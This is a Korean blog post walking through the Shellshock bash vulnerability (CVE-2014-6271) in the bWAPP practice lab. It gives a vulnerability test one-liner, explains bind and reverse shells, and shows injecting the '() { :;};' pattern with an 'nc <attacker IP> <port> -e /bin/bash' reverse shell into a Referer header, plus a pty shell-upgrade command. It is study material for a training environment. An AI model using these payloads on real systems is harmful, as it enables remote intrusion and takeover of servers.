WEB hacking/비박스(bWAPP)

[비박스(bWAPP)] - 쉘쇼크 취약점

Roronoa 2022. 11. 13. 03:42
반응형

쉘쇼크 취약점

쉘쇼크(shellshock)는  bash쉘의 취약점이다. CVE id는 CVE-2014-6271이다.

쉘쇼크는 시스템 환경변수에 다음과 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다.

() { :;}; <command>

 

쉘쇼크 취약 여부 테스트 스크립트

env x='() { :;}; echo DANGER' bash -c 'echo test'

이 명령문은 x 환경 변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인한다.

 

[그림 1] 쉘쇼크에 취약한 경우 DANGER 출력

쉘쇼크에 취약한 버전일 경우 echo 명령어가 실행되어 DANGER가 출력이된다.

 

[그림 2] 쉘쇼크에 취약하지 않은 경우 DANGER 출력 x

쉘쇼크에 취약하지 않은 버전은 DANGER 문자열이 출력되지 않는다.

 

쉘쇼크 취약점은 CGI로 구현된 웹 애플리케이션의 경우 요청 헤더가 환경 변수로 저장되기때문에 웹을 통해 쉘쇼크 공격이 가능하다.

 

[그림 3] 쉘쇼크 실습 페이지

실습 페이지의 내용은 bash 버전이 쉘쇼크 버그에 취약하다고 하고 레퍼러 헤더를 공격하여 이 시스템으로 침드를 하라고한다.

 

[그림 4] iframe 태그로 shellshock.sh를 요청

실습 페이지의 마지막 2두줄은 iframe을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것이다.

 

[그림 5] 버프스위트로 shellshock.sh 요청 확인

버프스위트로도 확인이 가능하다.

shellshock.sh가 요청되면 bash에 의해 쉘 스크립트가 실행된다. 이때 쉘쇼크 취약점이 존재하므로, shellshock.sh를 요청하는 요청 헤더에 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있다.

 

원격 명령어나 원격 코드 실행(RCE)이 가능한 경우 명령어를 실행함으로써 쉘을 획득하여 호스트로 침투를 진행한다.

쉘을 획득하는 방법에는 바인드 쉘과 리버스 쉘이 있다.

 

바인드 쉘 기법은 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법이다.

 

리버스 쉘 기법은 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 방법이다. 리버스 쉘 기법은 방화벽을 우회하기 위한 용도로 많이 사용한다.

리버스 쉘을 생성하기 위해서는 nc라는 명령어를 자주 이용한다. nc를 이용하여 양방향 통신이 가능하다.

 

리스닝 모드로 포트를 생성

nc -lvnp <포트번호>

옵션

-l : nc를 리스닝 모드로 동작. nc가 서버의 역할을 하게 된다.

-v : nc 실행 중 발생하는 메시지를 출력. 접속이 들어오면 그 내용을 알려줌

-n : 호스트 주소나 포트를 숫자 형태로 표시한다.

-p : 리스닝 모드에서 사용할 포트번호를 지정한다.

 

쉘을 획득하기 위해서는 원격에서 다음과 같은 명령어를 실행하면 된다.

nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash

이 명령문이 실행되면 nc 명령어 뒤에 지정된 IP주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션이다. /bin/bash를 지정하였으므로 bash쉘을 실행한다.

 

1. 칼리리눅스에서 nc를 리스닝 모드로 동작

[그림 6] 리스닝 모드

리스닝모드로 포트번호 9999로 지정하였다.

 

2. 요청 메시지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입한 후, nc를 이용하여 칼리 리눅스로 접속

[그림 7] 리피터로 보내기

shellshock.sh 요청을 마우스 우클릭 메뉴를 사용하여 리피터로 보낸다.

 

[그림 8] 레퍼러 헤더에 공격 코드 삽입

() { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 칼리리눅스에서 리스닝하고 잇는 9999포트로 접속하도록 하였다.

레퍼러 헤더를 수정한 후 Send 버튼을 눌러 전송하면 접속이 들어온 것을 nc가 실행되고 있는 칼리 리눅스 터미널에서 확인할 수 있다.

 

[그림 9] 쉘쇼크 공격으로 리버스 쉘 침투 성공

python -c 'import pty; pty.spawn("/bin/bash");'

위 명령어를 입력함으로써 프롬프트가 표시되는 쉘로 업그레이드 할 수 있다.

반응형